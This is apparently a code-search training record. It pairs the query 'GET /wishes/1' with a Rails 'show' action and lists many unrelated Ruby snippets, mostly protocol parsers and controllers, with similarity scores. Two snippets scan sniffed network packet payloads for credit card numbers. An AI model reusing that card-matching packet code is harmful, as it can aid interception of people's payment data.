CFDP::CFDPEngine.instance.insertIntoBuffer(ackPdu)\n end", "def parse_response(input)\n i = StringIO.new(input)\n code = i.read(1).unpack('C').first\n result = i.read(1).unpack('C').first\n if result == 0\n # good response read the port\n port = i.read(2).unpack('n').first\n set_deferred_success port\n else\n set_deferred_failure 0\n end\n end", "def credit_card?(pkt)\n\tif pkt.payload.match(/4\\d{3}(\\s|-)?\\d{4}(\\s|-)?\\d{4}(\\s|-)?\\d{4}/) != nil\n\t\treturn true\n\telsif pkt.payload.match(/5\\d{3}(\\s|-)?\\d{4}(\\s|-)?\\d{4}(\\s|-)?\\d{4}/) != nil\n\t\treturn true\n\telsif pkt.payload.match(/6011(\\s|-)?\\d{4}(\\s|-)?\\d{4}(\\s|-)?\\d{4}/) != nil\n\t\treturn true\n\telsif pkt.payload.match(/3\\d{3}(\\s|-)?\\d{6}(\\s|-)?\\d{5}/) != nil\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def parse_response?\n parse_response\n end", "def process_response_data\n return false unless @response\n if save_webpage && save_webpage_response\n @webpage_request.update(status: 'complete')\n else\n @webpage_request.update(status: 'error')\n return false\n end\n end", "def send_frame sequence_number\n if @sent[sequence_number] == 0\n @sent[sequence_number] = 1\n @buffer_len += 1\n\n if @buffer_len > @max_buffer_len\n @max_buffer_len = @buffer_len\n end\n end\n\n puts \"Sending frame #{sequence_number}\"\n @stats[:frames_sent] += 1\n\n if drop?\n @stats[:frames_dropped] += 1\n puts \"Dropped Frame\"\n return\n end\n\n # send from buffer\n @socket.puts \"#{sequence_number} #{checksum sequence_number} #{@number}\"\n\n to_send = String.new(@buffer[sequence_number])\n if rand(100) < @options[:error_rate] * 100\n @stats[:corrupted] += 1\n puts to_send.length\n puts to_send.getbyte(0)\n to_send.setbyte(0, to_send.getbyte(0) ^ 255)\n end\n\n # timeout for acknowledgement\n reset_timeout\n @socket.write to_send\n end", "def can_parse?(str)\n str =~ /^#{counter_tag}\\=[^\\x01]+\\x01/\n end", "def valid?\n return false if @id.nil?\n return false if @next_send.nil?\n return false if @rrule.nil?\n return false if @session.nil?\n return false if @last_sent.nil?\n return false if @contact_name.nil?\n return false if @parameters.nil?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n return false unless type_validator.valid?(@type)\n return false if @summary.nil?\n return false if @text_parameters.nil?\n return false if @first_occurrence.nil?\n return false if @last_occurrence.nil?\n return false if @recipients_count.nil?\n return false if @timezone.nil?\n return false if @completed.nil?\n return false if @avatar.nil?\n return false if @created_at.nil?\n true\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @return_codes << shift_byte(buffer) while buffer.bytesize > 0\n end", "def receive_packet(response)\n pending_pos = nil\n pending_callback = nil\n @pending.each_with_index do |(pending_opaque,pending_cb),i|\n if response[:opaque] == pending_opaque\n pending_pos = i\n pending_callback = pending_cb\n break\n end\n end\n\n if pending_pos\n @pending = @pending[pending_pos..-1]\n begin\n if pending_callback.call(response) != :proceed\n @pending.shift\n end\n rescue Exception => e\n $stderr.puts \"#{e.class}: #{e}\\n\" + e.backtrace.join(\"\\n\")\n end\n end\n end", "def can_parse?(str)\n str.match(/^#{tag}\\=[^\\x01]*\\x01/)\n end", "def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end", "def parse_body(buffer)\n super(buffer)\n @connack_flags = shift_bits(buffer)\n unless @connack_flags[1, 7] == [false, false, false, false, false, false, false]\n raise ProtocolException, 'Invalid flags in Connack variable header'\n end\n @return_code = shift_byte(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Connect Acknowledgment packet'\n end", "def validate_flags\n raise ProtocolException, 'Invalid packet: QoS value of 3 is not allowed' if qos == 3\n raise ProtocolException, 'Invalid packet: DUP cannot be set for QoS 0' if qos.zero? && duplicate\n end", "def should_parse?\n parsed? == false && headers['x-amp'] != 'skip'\n end", "def handle(pkt)\n # puts \"Received packet, current state: #{@state}, buffer length: #{@recv_buffer.size}\"\n # puts \"tcp_flags: #{pkt.tcp_flags.inspect}\"\n\n @client_next_seq = pkt.tcp_seq + 1\n @server_ack_seq = pkt.tcp_ack\n\n if pkt.tcp_flags.rst == 1\n @state = CLOSED_STATE\n elsif pkt.tcp_flags.syn == 1\n if @state == SYN_SENT_STATE\n @state = ESTABLISHED_STATE\n send_ack\n end\n elsif pkt.tcp_flags.fin == 1\n if @state == ESTABLISHED_STATE\n @state = LAST_ACK_STATE\n send_ack([:fin])\n elsif @state == FIN_WAIT_1_STATE\n @state = CLOSED_STATE\n send_ack\n end\n elsif pkt.payload.length > 0\n @recv_buffer += pkt.payload\n send_ack\n elsif pkt.tcp_flags.ack == 1\n if @state == LAST_ACK_STATE\n @state = CLOSED_STATE\n end\n end\n\n @state\n end", "def reply\n bytes_read = receive_packet 1400\n is_compressed = false\n\n if @buffer.long == 0xFFFFFFFE\n split_packets = []\n begin\n # Parsing of split packet headers\n request_id = @buffer.long\n is_compressed = ((request_id & 0x80000000) != 0)\n packet_count = @buffer.byte\n packet_number = @buffer.byte + 1\n\n if is_compressed\n @buffer.long\n packet_checksum = @buffer.long\n else\n @buffer.short\n end\n\n # Caching of split packet data\n split_packets[packet_number - 1] = @buffer.get\n\n puts \"Received packet #{packet_number} of #{packet_count} for request ##{request_id}\" if $DEBUG\n\n # Receiving the next packet\n if split_packets.size < packet_count\n begin\n bytes_read = receive_packet\n rescue TimeoutException\n bytes_read = 0\n end\n else\n bytes_read = 0\n end\n end while bytes_read > 0 && @buffer.long == 0xFFFFFFFE\n\n if is_compressed\n packet = SteamPacketFactory.reassemble_packet(split_packets, true, packet_checksum)\n else\n packet = SteamPacketFactory.reassemble_packet(split_packets)\n end\n else\n packet = SteamPacketFactory.packet_from_data(@buffer.get)\n end\n\n if is_compressed\n puts \"Got compressed reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n else\n puts \"Got reply of type \\\"#{packet.class.to_s}\\\".\" if $DEBUG\n end\n\n packet\n end", "def parse_body(buffer)\n return if buffer.bytesize == body_length\n\n raise ProtocolException, \"Failed to parse packet - input buffer (#{buffer.bytesize}) is not the same as the body length header (#{body_length})\"\n end", "def dissamble_packet(packet)\n packet_bytes = packet.bytes.to_a\n # debugger\n @thermo_address = packet_bytes[0] & 0b01111111\n @host_or_reply = packet_bytes[0][7]\n @message_type = packet_bytes[1] & 0b1111\n @data_length = (packet_bytes[1] & 0b11110000) / 0b10000\n @data = packet[2,@data_length]\n @checksum = packet[packet.length-1]\n @valid = validate_packet(packet)\n end", "def valid?(output)\n output.any? { |line| line =~ /^END RequestId:/ }\n end", "def is_valid?\n ((@original.reverse.chars.first.to_i == check_digit) && (gs1_prefix == '979') && @code.count == 13) || @code.count == 12\n end", "def parse_response_line\n if @headers.first =~ /\\AHTTP\\/1\\.[01] ([\\d]{3})/\n @status = $1.to_i\n else\n set_deferred_status :failed, {\n :status => 0 # crappy way of signifying an unrecognized response. TODO, find a better way to do this.\n }\n close_connection\n end\n end", "def read_packet; end", "def parse_body(buffer)\n @id = shift_short(buffer)\n while(buffer.bytesize>0)\n @return_codes << shift_byte(buffer)\n end\n # puts \"subacks #{@return_codes.inspect}\"\n end", "def poll_next_packet; end", "def valid_response?\n return false unless response\n\n valid_hmac? && valid_amount? && valid_account?\n end", "def on_as_boundary?\n if [email protected]? && @previous.asn != @asn && @previous.ip != \"0.0.0.0\"\n return @previous.asn\n end\n\n if [email protected]? && @next.asn != @asn && @next.ip != \"0.0.0.0\"\n return @next.asn\n end\n\n return false\n end", "def checkCard packet\n\tfor card_regex in CARDS\n\t\tif packet.payload.match card_regex\n\t\t\t$stderr.puts \"MATCH!\"\n\t\t\tif ((packet.payload.scan card_regex).any? { |c| validateCard c })\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\tfalse\nend", "def next_result\n return false unless more_results\n check_connection\n @fields = nil\n nfields = @protocol.get_result\n if nfields\n @fields = @protocol.retr_fields nfields\n @result_exist = true\n end\n return true\n end", "def valid?\n (200..299).include? status\n end", "def valid?\n (rows.all? &method(:valid_sequence?)) && (columns.all? &method(:valid_sequence?)) && (field_groups.all? &method(:valid_sequence?))\n end", "def valid?\n return false if [email protected]? && @message.to_s.length > 5000\n return false if [email protected]? && @type.to_s.length > 100\n true\n end", "def response?\n done? && !error?\n end", "def valid?\n return false if @enabled.nil?\n return false if @on_scan_repeat.nil?\n return false if @start.nil?\n true\n end", "def parse_chunk(data)\n return 0 if data.nil?\n return 0 unless data.bytesize == @bytes_expected\n bytes_parsed = 0\n if @bytes_expected > 1\n @magic,@item_count = data.unpack(\"CN\")\n bytes_parsed = 5\n else\n @magic = data.unpack(\"C\").first\n bytes_parsed = 1\n end\n @data = @item_count\n @parse_phase = :item_count\n return bytes_parsed\n end", "def process_response(session,in_sock,out_sock=nil)\n session.expected_seq_no = 2\n session.pass_fail = {:data => '', :pass => false, :pass_type => nil, :server_msg => ''}\n\n # send first packet to server\n if (!out_sock)\n send_packet(in_sock,session.request,@key)\n else\n send_packet(out_sock,session.request,@key)\n end\n session.request = nil\n\n # process response\n while (!in_sock.closed?)\n # get packet from server.\n begin\n recvd_pkt = get_packet(in_sock,@key)\n rescue Exception => error\n @logger.debug(\"Error with connection to server: #{error}\") if @logger\n break\n end\n\n # make sure encryption is used, unless testing. terminate if not\n if (recvd_pkt.header.flag_unencrypted?)\n if (!@testing)\n @logger.error(\"Received unencrypted packet from server. Terminating connection.\") if @logger\n break\n end\n end\n\n # make sure seq_no is what we expected\n if (recvd_pkt.header.seq_no != session.expected_seq_no)\n @logger.error(\"Expected packet with seq_no #{session.expected_seq_no}, but was #{authen_reply.header.seq_no}.\") if @logger\n break\n end\n\n # store recvd_pkt\n session.reply = recvd_pkt\n\n # authentication requests\n if (session.reply.header.type_authentication?)\n if (session.type != :authentication)\n @logger.error(\"Received authentication message from server when client did not request authentication. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n if (session.reply.body.kind_of?(AuthenticationReply))\n process_authentication(session)\n else\n @logger.error(\"Expected AuthenticationReply from server, but #{session.reply.body.class} received. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n elsif (session.reply.header.type_authorization?)\n if (session.type != :authorization)\n @logger.error(\"Received authorization message from server when client did not request authorization. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n if (session.reply.body.kind_of?(AuthorizationResponse))\n process_authorization(session)\n else\n @logger.error(\"Expected AuthorizationResponse from server, but #{session.reply.body.class} received. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n elsif (session.reply.header.type_accounting?)\n if (session.type != :accounting)\n @logger.error(\"Received accounting message from server when client did not request accounting. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n if (session.reply.body.kind_of?(AccountingReply))\n process_accounting(session)\n else\n @logger.error(\"Expected AccountingReply from server, but #{session.reply.body.class} received. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n else\n @logger.error(\"Unknown value for header 'type' field: #{session.reply.header.type}. \" +\n \"Terminating connection.\") if (@logger)\n break\n end\n\n # send request to server\n if (session.request)\n if (!out_sock)\n send_packet(in_sock,session.request,@key)\n else\n send_packet(out_sock,session.request,@key)\n end\n session.request = nil\n end\n\n # close connection if finished\n break if session.terminate\n end\n\n in_sock.close if (!in_sock.closed?)\n return(session.pass_fail)\n end", "def parse_response(value)\n @resp_message << value\n\n value = @buffer + value\n\n response_chunk, @resp_message_codes, @buffer = decode_message(value)\n\n @resp_message_codes.each do |resp_mc|\n if resp_mc.equal?(ERROR_RESPONSE)\n raise FailedRequest.new(MC_RESPONSE_FOR[@req_message_code], @resp_message_codes, response_chunk)\n end\n\n # The below should never really happen\n if resp_mc != MC_RESPONSE_FOR[@req_message_code]\n raise FailedExchange.new(MC_RESPONSE_FOR[@req_message_code], @resp_message_codes, response_chunk, \"failed_request\")\n end\n end\n\n if response_chunk.size > 0\n @response.parse_from_string response_chunk\n end\n\n @status = true\n return(@response)\n end", "def valid?\n begin\n self.class.from_line( to_s )\n rescue ArgumentError, RuntimeError\n false\n else\n true\n end\n\n end", "def isvalid?(code:)\n @channel.each { |k,v| return true if code == v[:code] }\n return false\n end", "def validrequest?(req)\n digest = makehash(req[:body])\n \n if digest == req[:hash]\n @stats[:validated] += 1\n \n return true\n else\n @stats[:unvalidated] += 1\n \n raise(\"Received an invalid signature in message\")\n end\n end", "def handleResponse(tag)\n if \"response\" == tag.name.downcase\n updateRate = tag.attributes[\"updateRate\"]\n syncRate = tag.attributes[\"syncRate\"]\n api.updateRate = updateRate.to_i if updateRate\n api.syncRate = syncRate.to_i if syncRate\n true\n else\n false\n end\n end", "def buffer_valid?\r\n @buffer.is_a?(String)\r\n end", "def success_from(response)\n response == 'SUCCESSFUL' || response =~ /^\\d+$/ || response == 'true'\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Unsubscribe Acknowledgment packet'\n end", "def valid_pid?(data)\n return false unless data\n\n data.length == 9 && (data.match /[0-9]{9}/)\nend", "def valid?\n\t\t#return false if @number.match?(/[^\\d_]/)\n\t\tchecksum % 10 == 0\n\tend", "def valid?\n return false if @handle.nil?\n return false if @handle.to_s.length > 195\n return false if !@link_count.nil? && @link_count > 2147483647\n return false if @name.nil?\n return false if @name.to_s.length > 200\n return false if [email protected]? && @summary.to_s.length > 120\n return false if !@user_count.nil? && @user_count > 2147483647\n true\n end", "def validate()\n cs = checksum()\n return cs == @header[LENGTH - 1]\n end", "def valid?\n self.class.matcher.match? data\n end", "def request_failure(packet); end", "def parsing_succeeded\n return @parsing_succeeded\n end", "def validate(response)\n # Invalid if the zuora timestamp is more than 300 seconds ago\n timestamp = from_zuora_time(response[\"timestamp\"].to_i)\n return false if timestamp < Time.now - 300\n # Match the signature with the signature from zuora\n create(response[\"id\"], response[\"timestamp\"], response[\"token\"]).signature == response[\"responseSignature\"]\n end", "def event_received(sequence)\n false # return true if we handled the event here\n end", "def parse_command_and_headers\n if (match = @buffer.match(/\\A\\s*(\\S+)\\r?\\n((?:[ \\t]*.*?[ \\t]*:[ \\t]*.*?[ \\t]*$\\r?\\n)*)\\r?\\n/))\n @frame.command, headers = match.captures\n @buffer = match.post_match\n headers.split(/\\r?\\n/).each do |data|\n if data.match(/^\\s*([^\\s:]+)\\s*:\\s*(.*?\\s*)$/)\n @frame.headers[$1] = $2 unless @frame.headers.has_key?($1)\n end\n end\n @body_length = (length = @frame.headers[\"content-length\"]) && length.to_i\n elsif @buffer.rindex(NULL)\n raise ProtocolError, \"Invalid frame (malformed headers)\"\n end\n true\n end", "def validate!\n puts \"Http2: Validating response length.\" if @debug\n validate_body_versus_content_length!\n end", "def validate!\n puts \"Http2: Validating response length.\" if @debug\n validate_body_versus_content_length!\n end", "def valid?\n return false if !@item_id.nil? && @item_id.to_s.length > 6\n return false if !@item_id.nil? && @item_id.to_s.length < 1\n true\n end", "def handle_packet(packet)\n\t\t\t# Unlike Java, null pointer == won't raise error\n\t\t\tif packet[:Name] == @name\n\t\t\t\tif packet.type == 'ASTA'\n\t\t\t\t\t# Status message\n\t\t\t\t\tlink, value = 0, packet[:Value]\n\t\t\t\t\tbegin\n\t\t\t\t\t\t@joints[link] = value\n\t\t\t\t\t\t# Bizarre but true: how USARPacket encodes duplicate names\n\t\t\t\t\t\tvalue, link = packet[\"Value_#{link}\"], link + 1\n\t\t\t\t\tend while !packet[\"Link_#{link - 1}\"].nil?\n\t\t\t\telsif packet.type == 'CONF' && packet[:Type] == 'Actuator'\n\t\t\t\t\t@conf = @conf || packet.to_h\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def validate_response(resp)\n # The length for a chunked response is 0, so checking it isn't meaningful.\n return resp if resp.headers['Transfer-Encoding'] == 'chunked'\n\n exp_content_length = resp.headers['Content-Length'].to_i\n actual_content_length = resp.body.length\n return resp if actual_content_length == exp_content_length\n\n errmsg = \"Incomplete response received from Symphony for #{@catkey} - expected #{exp_content_length} bytes but got #{actual_content_length}\"\n Honeybadger.notify(errmsg)\n raise ResponseError, errmsg\n end", "def acknowledge_frame sequence_number\n @stats[:acks_sent] += 1\n\n puts \"Acking #{sequence_number}\"\n\n expected_frame = (@next_frame % @options[:window_size]) + (@options[:window_size] * (@window % 2))\n max_frame = @options[:window_size] * ((@window % 2) + 1)\n\n # Can we write out something in our buffer?\n if expected_frame == sequence_number\n cur_seq_num = sequence_number\n\n while cur_seq_num < max_frame and not @buffer[cur_seq_num].nil? do\n # Get contents of the buffer\n buffer = @buffer[cur_seq_num]\n break if buffer == \"\"\n\n # Write out the buffer\n puts \"WRITING #{@current_frame}\"\n @file.write buffer\n\n # Clear memory\n @buffer[cur_seq_num] = \"\"\n @buffer_len -= 1 if @options[:implementation] == :selective_repeat\n\n # Consider the next frame\n cur_seq_num += 1\n @current_frame += 1\n @next_frame += 1 \n @delivered += @options[:frame_size]\n end\n end\n\n# if (@delivered % (@options[:frame_size] * @options[:window_size])) == 0\n blah_frame = @next_frame % (@options[:window_size] * 2)\n blah_frame = (@options[:window_size]*2) if blah_frame == 0 and max_frame == (@options[:window_size]*2)\n if blah_frame == max_frame\n puts \"Window received.\"\n receive_next_window\n end\n\n if drop_ack? and not done?\n puts \"Dropping Ack\"\n @stats[:acks_dropped] += 1\n return\n end\n\n if (sequence_number+1) == (@options[:window_size] * 2)\n @socket.puts \"ACK 0 #{@number}\"\n else\n @socket.puts \"ACK #{sequence_number+1} #{@number}\"\n end\n\n if @next_frame == @total_frames\n puts \"Delivered\"\n done\n\n unless @file.is_a? StringIO\n stop_timeout\n @file.close\n @file = nil\n end\n end\n end", "def validrequest?(req)\n ssl = SSL.new(\"/home/rip/.mcollective.d/rip.pem\")\n\n ssl.verify_signature(req[:hash], SSL.md5(req[:body]), true)\n\n req[:callerid] = \"webuser=%s\" % ssl.rsa_decrypt_with_public(ssl.base64_decode(req[:callerid]))\n req[:body] = deserialize(req[:body])\n\n @stats.validated\n\n true\n rescue\n @stats.unvalidated\n raise(SecurityValidationFailed, \"Received an invalid signature in message\")\n end", "def valid?\n @errors = []\n @errors << 'unique_id is required' if @unique_id.nil? && @response_type.eql?('NVP')\n @errors << 'developer_id is required' if @developer_id.nil? && @response_type.eql?('JSON')\n @errors << 'app_key is required' if @app_key.nil?\n @errors << 'cmd is required' if @cmd.nil?\n @errors << 'response_type is required' if @response_type.nil?\n @errors.empty?\n end" ]
[ "0.54812187", "0.53521025", "0.53457576", "0.53096867", "0.5280621", "0.52769667", "0.52022445", "0.51943576", "0.51724285", "0.5150046", "0.5149561", "0.51452684", "0.5095811", "0.50434756", "0.5041339", "0.5025787", "0.50133234", "0.49645808", "0.4958033", "0.49557388", "0.4944676", "0.4939039", "0.4939039", "0.49038693", "0.48941952", "0.48826602", "0.4869741", "0.4866644", "0.4855492", "0.48430368", "0.4842348", "0.48357433", "0.4832026", "0.482374", "0.48066673", "0.48028076", "0.47975674", "0.47863132", "0.47846457", "0.4783856", "0.47772262", "0.4774374", "0.47671524", "0.47578788", "0.47552153", "0.47548315", "0.47438216", "0.47231886", "0.4721463", "0.47158897", "0.4705761", "0.46794373", "0.4669093", "0.4667652", "0.46665987", "0.46600124", "0.4657361", "0.4655991", "0.46494013", "0.46490228", "0.46400705", "0.46356782", "0.46306857", "0.46298164", "0.46211702", "0.46198994", "0.46154258", "0.46131274", "0.46111518", "0.46102944", "0.46087322", "0.46068588", "0.4606103", "0.46046737", "0.4600764", "0.45947754", "0.45907122", "0.4584477", "0.4582247", "0.45769346", "0.45670056", "0.45656133", "0.45653266", "0.456249", "0.45594445", "0.45574486", "0.4554914", "0.455088", "0.4525483", "0.45183128", "0.45177597", "0.45172432", "0.4517194", "0.4517194", "0.45152566", "0.45141384", "0.45117223", "0.45107552", "0.4508596", "0.4502545" ]
0.66046137
0
GET /wishes/1 GET /wishes/1.json
def show @wish = Wish.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @wish } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end", "def show\n render json: { wishes: generate_image_url([@wish]) }\n end", "def index\n @wishes = Wish.all\n end", "def index\n @wishes = Wish.all\n end", "def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wish_list_item }\n end\n end", "def show\n @wishlistitem = Wishlistitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlistitem }\n end\n end", "def show\n \t@wishlist = Wishlist.find(params[:id])\n \t@client = @wishlist.client\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end", "def show\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end", "def new\n @wish = Wish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish }\n end\n end", "def show_user_wishes\n completed_wishes = current_user.wishes.with_attached_image.where(is_completed: true)\n not_completed_wishes = current_user.wishes.with_attached_image.where(is_completed: false)\n\n render json: { completed_wishes: generate_image_url(completed_wishes), not_completed_wishes: generate_image_url(not_completed_wishes) }\n end", "def show\n @wishlist = Wishlist.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end", "def get\n @dish = Dish.find_by_id(params[:id]) || Dish.find_or_create_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @dish.id }\n end\n end", "def index\n\t@wishlist = Wishlist.all\n\t@client = Client.all\n\t#@product = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end", "def index\n @wishes = Wish.valid_wish.all\n end", "def show\n render json: Like.find(params[\"id\"])\n end", "def show\n @love = Love.find(params[:id])\n render json: @love\n end", "def index\n @granted_wishes = GrantedWish.all.page(params[:page])\n end", "def create\n # user_id: current_user[:id], item_description: params[:item_description], item_link: params[:item_link], item_rank: params[:item_rank], item_image: params[:item_image], item_price: params[:item_price]\n \t@wish = Wish.new(wish_params)\n @wish.user = current_user\n \[email protected]\n\n wishList = Wish.where(\"user_id = #{@wish.user_id}\")\n render json: wishList\n\n end", "def show\n @song_like = SongLike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song_like }\n end\n end", "def show\n @dish = Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end", "def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end", "def index\n @parishes = Parish.all\n\n render json: @parishes\n end", "def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end", "def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end", "def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end", "def index\n @loves = Love.all\n render json: @loves\n end", "def show\n @like = Like.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @like }\n end\n end", "def show\n @like = Like.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @like }\n end\n end", "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n \n @wish = current_user.wishes.build(params[:wish])\n if @wish.save\n flash[:success] = \"Wish created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end", "def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end", "def index\n @wigs = Wig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wigs }\n end\n end", "def show\n @wanted = Wanted.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wanted }\n end\n end", "def show\n @music_like = MusicLike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @music_like }\n end\n end", "def create\n @wish = Wish.create(wish_params)\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render :show, status: :created, location: @wish }\n else\n format.html { render :new }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @go = Go.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @go }\n end\n end", "def show\n @liked_item = LikedItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @liked_item }\n end\n end", "def create\n wish = current_user.wishes.new(wish_params)\n if wish.save\n # for each of the keywords param, find the keyword in the keyword database,\n # if not found, create a new keyword and build a new relationship with the wish.\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n\n if wish_params[:image]\n render json: { wish: wish, image: url_for(wish.image) }, status: :created\n else\n render json: { wish: wish, image: '' }, status: :created\n end\n else\n render json: { errors: wish.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def show\n @wig = Wig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wig }\n end\n end", "def show\n @weight = Weight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weight }\n end\n end", "def show\n @wash = Wash.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wash }\n end\n end", "def index\n @wish_list_items = WishListItem.all\n end", "def index\n @garnishes = Garnish.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @garnishes.map(&:attributes)}\n end\n end", "def show\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list }\n end\n end", "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @song }\n end\n end", "def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end", "def show\n @needed_good = NeededGood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @needed_good }\n end\n end", "def show\n @good = Good.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @good }\n end\n end", "def show\n goal = Goal.find(params[:id])\n render json: goal,status: :ok\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def index\n @wishlists = Wishlist.all\n @mywishlists = Wishlist.where('user_id' => current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end", "def index\n @guys = Guy.all\n respond_to do |format|\n format.json { render json: @guys }\n end\n end", "def show\n render json: @favorite\n end", "def show\n @shout = Shout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shout }\n end\n end", "def show\n @shout = Shout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shout }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n render json: @goal\n end", "def show\n @guitar = Guitar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guitar }\n end\n end", "def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end", "def index\n @likes = Like.all\n render json: @likes, status: 200\n end", "def show\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck_item }\n end\n end", "def show\n @restaurant_dish = Restaurant::Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant_dish }\n end\n end", "def show\n @saying = Saying.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @saying }\n end\n end", "def index\n @music_likes = MusicLike.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @music_likes }\n end\n end", "def wish_list(options={})\n get('/wish_list', options)\n end", "def show\n @ingredients_name = IngredientsName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ingredients_name }\n end\n end", "def show\n @green = Green.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @green }\n end\n end", "def show\n @goody = Goody.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goody }\n end\n end", "def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: :ok}\n format.json { render json: @gig, status: :ok }\n end\n end", "def index\n @wish_lists = WishList.all\n end", "def show\n @have = Have.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @have }\n end\n end", "def show\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bike }\n end\n end", "def show\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wishlist_item }\n 